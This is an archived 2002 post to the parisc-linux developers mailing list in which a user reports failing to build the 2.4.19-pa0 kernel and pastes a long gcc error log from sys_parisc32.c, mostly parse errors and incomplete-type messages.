Lines: 640
Approved: news@gmane.org
Message-ID: <OE232NqFJ3sl3xbYiMC00003f35@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621594 11999 80.91.229.3 (22 Nov 2014 01:59:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:54 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 08:17:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe23.law3.hotmail.com [209.185.240.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F7DB4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 08:17:49 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 5 Aug 2002 07:17:49 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 05 Aug 2002 14:17:49.0075 (UTC) FILETIME=[E0941630:01C23C8A]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15735

Hi,

I'm trying to compile the latest kernel source from the parisc-linux ftp,
2.4.19-pa0 I belive and I get the following errors while doing the "make
vmlinux":

sys_parisc32.c:351: parse error before "__kernel_time_t32"
sys_parisc32.c:351: warning: no semicolon at end of struct or union
sys_parisc32.c:352: warning: type defaults to `int' in declaration of
`modtime'
sys_parisc32.c:352: warning: data definition has no type or storage class
sys_parisc32.c: In function `sys32_utime':
sys_parisc32.c:357: storage size of `times32' isn't known
sys_parisc32.c:357: warning: unused variable `times32'
sys_parisc32.c: At top level:
sys_parisc32.c:386: parse error before "__kernel_clock_t32"
sys_parisc32.c:386: warning: no semicolon at end of struct or union
sys_parisc32.c:387: warning: type defaults to `int' in declaration of
`tms_stime'
sys_parisc32.c:387: warning: data definition has no type or storage class
sys_parisc32.c:388: parse error before "tms_cutime"
sys_parisc32.c:388: warning: type defaults to `int' in declaration of
`tms_cutime'
sys_parisc32.c:388: warning: data definition has no type or storage class
sys_parisc32.c:389: parse error before "tms_cstime"
sys_parisc32.c:389: warning: type defaults to `int' in declaration of
`tms_cstime'
sys_parisc32.c:389: warning: data definition has no type or storage class
sys_parisc32.c: In function `sys32_times':
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c: At top level:
sys_parisc32.c:414: parse error before "__kernel_off_t32"
sys_parisc32.c:414: warning: no semicolon at end of struct or union
sys_parisc32.c:415: warning: type defaults to `int' in declaration of
`l_len'
sys_parisc32.c:415: warning: data definition has no type or storage class
sys_parisc32.c:416: parse error before "l_pid"
sys_parisc32.c:416: warning: type defaults to `int' in declaration of
`l_pid'
sys_parisc32.c:416: warning: data definition has no type or storage class
sys_parisc32.c: In function `get_flock':
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c: In function `put_flock':
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c: In function `sys32_sysctl':
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:520: warning: cast to pointer from integer of different size
sys_parisc32.c:520: warning: cast to pointer from integer of different size
sys_parisc32.c:521: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c: At top level:
sys_parisc32.c:596: parse error before "time_t32"
sys_parisc32.c:596: warning: type defaults to `int' in declaration of
`time_t32'
sys_parisc32.c:596: warning: data definition has no type or storage class
sys_parisc32.c:621: parse error before '*' token
sys_parisc32.c:622: warning: function declaration isn't a prototype
sys_parisc32.c: In function `sys32_time':
sys_parisc32.c:624: parse error before "now32"
sys_parisc32.c:626: `tloc' undeclared (first use in this function)
sys_parisc32.c:626: (Each undeclared identifier is reported only once
sys_parisc32.c:626: for each function it appears in.)
sys_parisc32.c:627: `now32' undeclared (first use in this function)
sys_parisc32.c:623: warning: unused variable `now'
sys_parisc32.c:631: warning: control reaches end of non-void function
sys_parisc32.c: At top level:
sys_parisc32.c:786: parse error before "pid"
sys_parisc32.c:788: warning: function declaration isn't a prototype
sys_parisc32.c: In function `sys32_wait4':
sys_parisc32.c:789: `ru' undeclared (first use in this function)
sys_parisc32.c:790: `pid' undeclared (first use in this function)
sys_parisc32.c:790: `stat_addr' undeclared (first use in this function)
sys_parisc32.c:790: `options' undeclared (first use in this function)
sys_parisc32.c: At top level:
sys_parisc32.c:805: parse error before "__kernel_dev_t32"
sys_parisc32.c:805: warning: no semicolon at end of struct or union
sys_parisc32.c:806: warning: type defaults to `int' in declaration of
`st_ino'
sys_parisc32.c:806: warning: data definition has no type or storage class
sys_parisc32.c:807: parse error before "st_mode"
sys_parisc32.c:807: warning: type defaults to `int' in declaration of
`st_mode'
sys_parisc32.c:807: warning: data definition has no type or storage class
sys_parisc32.c:808: parse error before "st_nlink"
sys_parisc32.c:808: warning: type defaults to `int' in declaration of
`st_nlink'
sys_parisc32.c:808: warning: data definition has no type or storage class
sys_parisc32.c:811: parse error before "st_rdev"
sys_parisc32.c:811: warning: type defaults to `int' in declaration of
`st_rdev'
sys_parisc32.c:811: warning: data definition has no type or storage class
sys_parisc32.c:812: parse error before "st_size"
sys_parisc32.c:812: warning: type defaults to `int' in declaration of
`st_size'
sys_parisc32.c:812: warning: data definition has no type or storage class
sys_parisc32.c:813: parse error before "st_atime"
sys_parisc32.c:813: warning: type defaults to `int' in declaration of
`st_atime'
sys_parisc32.c:813: warning: data definition has no type or storage class
sys_parisc32.c:815: parse error before "st_mtime"
sys_parisc32.c:815: warning: type defaults to `int' in declaration of
`st_mtime'
sys_parisc32.c:815: warning: data definition has no type or storage class
sys_parisc32.c:817: parse error before "st_ctime"
sys_parisc32.c:817: warning: type defaults to `int' in declaration of
`st_ctime'
sys_parisc32.c:817: warning: data definition has no type or storage class
sys_parisc32.c:822: parse error before "__unused2"
sys_parisc32.c:822: warning: type defaults to `int' in declaration of
`__unused2'
sys_parisc32.c:822: warning: data definition has no type or storage class
sys_parisc32.c:823: parse error before "__unused3"
sys_parisc32.c:823: warning: type defaults to `int' in declaration of
`__unused3'
sys_parisc32.c:823: warning: data definition has no type or storage class
sys_parisc32.c:827: parse error before "st_realdev"
sys_parisc32.c:827: warning: type defaults to `int' in declaration of
`st_realdev'
sys_parisc32.c:827: warning: data definition has no type or storage class
sys_parisc32.c:830: parse error before "st_uid"
sys_parisc32.c:830: warning: type defaults to `int' in declaration of
`st_uid'
sys_parisc32.c:830: warning: data definition has no type or storage class
sys_parisc32.c:831: parse error before "st_gid"
sys_parisc32.c:831: warning: type defaults to `int' in declaration of
`st_gid'
sys_parisc32.c:831: warning: data definition has no type or storage class
sys_parisc32.c:833: parse error before '}' token
sys_parisc32.c: In function `cp_new_stat32':
sys_parisc32.c:850: storage size of `tmp' isn't known
sys_parisc32.c:850: warning: unused variable `tmp'
sys_parisc32.c:851: warning: `blocks' might be used uninitialized in this
function
sys_parisc32.c: At top level:
sys_parisc32.c:957: parse error before "__kernel_off_t32"
sys_parisc32.c:957: warning: no semicolon at end of struct or union
sys_parisc32.c:960: parse error before '}' token
sys_parisc32.c: In function `filldir32':
sys_parisc32.c:989: dereferencing pointer to incomplete type
sys_parisc32.c:989: dereferencing pointer to incomplete type
sys_parisc32.c:989: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1001: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c: In function `sys32_getdents':
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c: At top level:
sys_parisc32.c:1312: parse error before "__kernel_size_t32"
sys_parisc32.c:1313: warning: function declaration isn't a prototype
sys_parisc32.c: In function `qm_modules':
sys_parisc32.c:1321: `bufsize' undeclared (first use in this function)
sys_parisc32.c:1323: `buf' undeclared (first use in this function)
sys_parisc32.c:1330: `ret' undeclared (first use in this function)
sys_parisc32.c: At top level:
sys_parisc32.c:1347: parse error before "__kernel_size_t32"
sys_parisc32.c:1348: warning: function declaration isn't a prototype
sys_parisc32.c: In function `qm_deps':
sys_parisc32.c:1351: `mod' undeclared (first use in this function)
sys_parisc32.c:1354: `ret' undeclared (first use in this function)
sys_parisc32.c:1361: `bufsize' undeclared (first use in this function)
sys_parisc32.c:1363: `buf' undeclared (first use in this function)
sys_parisc32.c: At top level:
sys_parisc32.c:1384: parse error before "__kernel_size_t32"
sys_parisc32.c:1385: warning: function declaration isn't a prototype
sys_parisc32.c: In function `qm_refs':
sys_parisc32.c:1389: `mod' undeclared (first use in this function)
sys_parisc32.c:1392: `ret' undeclared (first use in this function)
sys_parisc32.c:1402: `bufsize' undeclared (first use in this function)
sys_parisc32.c:1404: `buf' undeclared (first use in this function)
sys_parisc32.c: At top level:
sys_parisc32.c:1428: parse error before "__kernel_size_t32"
sys_parisc32.c:1429: warning: function declaration isn't a prototype
sys_parisc32.c: In function `qm_symbols':
sys_parisc32.c:1435: `mod' undeclared (first use in this function)
sys_parisc32.c:1436: `ret' undeclared (first use in this function)
sys_parisc32.c:1446: `bufsize' undeclared (first use in this function)
sys_parisc32.c:1453: `buf' undeclared (first use in this function)
sys_parisc32.c: At top level:
sys_parisc32.c:1487: parse error before "__kernel_size_t32"
sys_parisc32.c:1488: warning: function declaration isn't a prototype
sys_parisc32.c: In function `qm_info':
sys_parisc32.c:1491: `mod' undeclared (first use in this function)
sys_parisc32.c:1494: `bufsize' undeclared (first use in this function)
sys_parisc32.c:1504: `buf' undeclared (first use in this function)
sys_parisc32.c:1509: `ret' undeclared (first use in this function)
sys_parisc32.c: At top level:
sys_parisc32.c:1515: parse error before "__kernel_size_t32"
sys_parisc32.c:1516: warning: function declaration isn't a prototype
sys_parisc32.c: In function `sys32_query_module':
sys_parisc32.c:1521: `name_user' undeclared (first use in this function)
sys_parisc32.c:1545: `which' undeclared (first use in this function)
sys_parisc32.c:1551: `buf' undeclared (first use in this function)
sys_parisc32.c:1551: `bufsize' undeclared (first use in this function)
sys_parisc32.c:1551: `ret' undeclared (first use in this function)
sys_parisc32.c: At top level:
sys_parisc32.c:1791: parse error before "__kernel_size_t32"
sys_parisc32.c:1791: warning: no semicolon at end of struct or union
sys_parisc32.c:1793: parse error before "msg_controllen"
sys_parisc32.c:1793: warning: type defaults to `int' in declaration of
`msg_controllen'
sys_parisc32.c:1793: warning: data definition has no type or storage class
sys_parisc32.c:1795: parse error before '}' token
sys_parisc32.c:1798: parse error before "__kernel_size_t32"
sys_parisc32.c:1798: warning: no semicolon at end of struct or union
sys_parisc32.c:1801: parse error before '}' token
sys_parisc32.c: In function `__cmsg32_nxthdr':
sys_parisc32.c:1825: arithmetic on pointer to an incomplete type
sys_parisc32.c: In function `msghdr_from_user32_to_kern':
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c: In function `cmsghdr_from_user32_to_kern':
sys_parisc32.c:1932: `__kernel_size_t32' undeclared (first use in this
function)
sys_parisc32.c:1932: parse error before "ucmlen"
sys_parisc32.c:1937: sizeof applied to an incomplete type
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: `ucmlen' undeclared (first use in this function)
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1944: sizeof applied to an incomplete type
sys_parisc32.c:1950: dereferencing pointer to incomplete type
sys_parisc32.c:1970: sizeof applied to an incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1973: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: dereferencing pointer to incomplete type
sys_parisc32.c:1977: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1981: sizeof applied to an incomplete type
sys_parisc32.c:1982: dereferencing pointer to incomplete type
sys_parisc32.c: In function `put_cmsg32':
sys_parisc32.c:2005: storage size of `cmhdr' isn't known
sys_parisc32.c:2006: sizeof applied to an incomplete type
sys_parisc32.c:2008: dereferencing pointer to incomplete type
sys_parisc32.c:2023: sizeof applied to an incomplete type
sys_parisc32.c:2023: sizeof applied to an incomplete type
sys_parisc32.c:2025: sizeof applied to an incomplete type
sys_parisc32.c:2005: warning: unused variable `cmhdr'
sys_parisc32.c: In function `scm_detach_fds32':
sys_parisc32.c:2033: sizeof applied to an incomplete type
sys_parisc32.c:2042: sizeof applied to an incomplete type
sys_parisc32.c:2059: sizeof applied to an incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2061: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2063: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
sys_parisc32.c:2065: dereferencing pointer to incomplete type
